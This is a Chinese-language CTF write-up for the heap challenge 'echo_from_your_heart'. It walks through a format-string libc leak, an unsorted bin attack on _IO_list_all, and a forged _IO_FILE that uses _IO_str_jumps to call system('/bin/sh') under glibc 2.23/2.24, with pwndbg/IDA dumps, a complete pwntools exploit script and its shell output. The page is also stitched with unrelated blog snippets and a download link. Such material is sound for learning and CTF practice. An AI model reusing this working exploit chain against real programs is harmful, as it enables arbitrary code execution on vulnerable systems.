bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> Program received signal SIGABRT, Aborted. 0x00007ffff7a42438 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── *RAX 0x0 *RBX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000001 *RCX 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ *RDX 0x6 *RDI 0x23a0 *RSI 0x23a0 *R8 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0 *R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 *R10 0x8 *R11 0x246 *R12 0xfa0 *R13 0x5555557560a0 ◂— 0x0 *R14 0x1000 *R15 0x1000 *RBP 0xfd0 *RSP 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] *RIP 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 0x7ffff7a4243e <raise+62> ja raise+96 <raise+96> 0x7ffff7a42440 <raise+64> ret 0x7ffff7a42442 <raise+66> nop word ptr [rax + rax] 0x7ffff7a42448 <raise+72> test ecx, ecx 0x7ffff7a4244a <raise+74> jg raise+43 <raise+43> 0x7ffff7a4242b <raise+43> movsxd rdx, edi 0x7ffff7a4242e <raise+46> mov eax, 0xea 0x7ffff7a42433 <raise+51> movsxd rdi, ecx 0x7ffff7a42436 <raise+54> syscall 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] 01:0008│ 0x7fffffffda30 ◂— 0x20 /* ' ' */ 02:0010│ 0x7fffffffda38 ◂— 0x0 ... ↓ ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a42438 raise+56 f 1 7ffff7a4403a abort+362 f 2 7ffff7a8a2f8 __malloc_assert+104 f 3 7ffff7a8e436 sysmalloc+470 f 4 7ffff7a8f763 _int_malloc+3027 f 5 7ffff7a911d4 malloc+84 f 6 555555554947 f 7 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> b'echo: ' [DEBUG] Received 0xc4 bytes: b'deadbeef0x7ffff7dd37800x7ffff7b043800x7ffff7fdd7000x6(nil)0x555555554b800x5555555549c00x7ffff7a2d840aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' [+] libc_start_mian -> 0x7ffff7a2d750 [+] /lib/x86_64-linux-gnu/libc-2.23.so (id local-ae799c0d270a8152908e5882bde6424c6693f7a3) be choosed. 0x7ffff7a0d000 [+] system_addr -> 0x7ffff7a523a0 [+] str_bin_sh_addr -> 0x7ffff7b99e17 [DEBUG] Received 0x1 bytes: b'\n' [DEBUG] Received 0x13 bytes: b'lens of your word: ' [DEBUG] Sent 0x5 bytes: b'4032\n' [DEBUG] Received 0xe9 bytes: b"echo_from_your_heart: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.\n" 下面是IDA调试结果:
下面是IDA调试结果:
libc_2.23.so:00007FFFF7A8E400 loc_7FFFF7A8E400: ; CODE XREF: sub_7FFFF7A8E260+7Ej libc_2.23.so:00007FFFF7A8E400 ; sub_7FFFF7A8E260+87j libc_2.23.so:00007FFFF7A8E400 cmp r12, 1Fh # 此处校验请求的大小是否大于MINSIZE libc_2.23.so:00007FFFF7A8E404 jbe short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E406 test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 libc_2.23.so:00007FFFF7A8E408 jz short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E40A lea rax, [r15-1] # r15存储page大小 libc_2.23.so:00007FFFF7A8E40E test rdx, rax # rdx指向top chunk开始处堆的起始地址加上原有top chunk剩余的大小,即校验是否满足页对齐 # 其实就是看一看原来分配的正常的堆块是对齐的,现在使用过之后用到哪里了剩下多少,加起来还满不满足页对齐 libc_2.23.so:00007FFFF7A8E411 jz loc_7FFFF7A8E2ED # 此处如果跳转成功则可以继续执行 libc_2.23.so:00007FFFF7A8E417 libc_2.23.so:00007FFFF7A8E417 loc_7FFFF7A8E417: ; CODE XREF: sub_7FFFF7A8E260+1A4j libc_2.23.so:00007FFFF7A8E417 ; sub_7FFFF7A8E260+1A8j libc_2.23.so:00007FFFF7A8E417 lea rcx, aSysmalloc ; "sysmalloc" # 此处开始获取告警字符串存储的位置 libc_2.23.so:00007FFFF7A8E41E lea rsi, aMalloc_c ; "malloc.c" libc_2.23.so:00007FFFF7A8E425 lea rdi, aOld_topInitial ; "(old_top == initial_top (av) && old_siz"... libc_2.23.so:00007FFFF7A8E42C mov edx, 961h libc_2.23.so:00007FFFF7A8E431 call near ptr unk_7FFFF7A8A290 # 此处触发告警信息并且导致程序结束 libc_2.23.so:00007FFFF7A8E436 db 2Eh libc_2.23.so:00007FFFF7A8E436 nop word ptr [rax+rax+00000000h] libc_2.23.so:00007FFFF7A8E440 根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用 下面扩展一个GDB的调试结果,同样也是锁定报错的位置 pwndbg> 0x00007ffff7a8e40e 2398 in malloc.c *RAX 0xfff RDX 0x555555757000 ◂— 0x0 # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60) R15 0x1000 ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a8e400 <sysmalloc+416> cmp r12, 0x1f # 此处校验请求的大小是否大于MINSIZE 0x7ffff7a8e404 <sysmalloc+420> jbe sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e406 <sysmalloc+422> test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 0x7ffff7a8e408 <sysmalloc+424> je sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e40a <sysmalloc+426> lea rax, [r15 - 1] ► 0x7ffff7a8e40e <sysmalloc+430> test rdx, rax # 校验页对齐 0x7ffff7a8e411 <sysmalloc+433> je sysmalloc+141 <sysmalloc+141> 0x7ffff7a8e2ed <sysmalloc+141> lea rax, [rbp + 0x20] ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a8e40e sysmalloc+430 f 1 7ffff7a8f763 _int_malloc+3027 f 2 7ffff7a911d4 malloc+84 f 3 555555554947 f 4 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x5555557560a0 0x0000000000000000 0x0000000000000f61 ........a....... <-- Top chunk 起始地址 剩余大小 至此,再次附上sysmalloc中的_int_free的基本条件: assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && 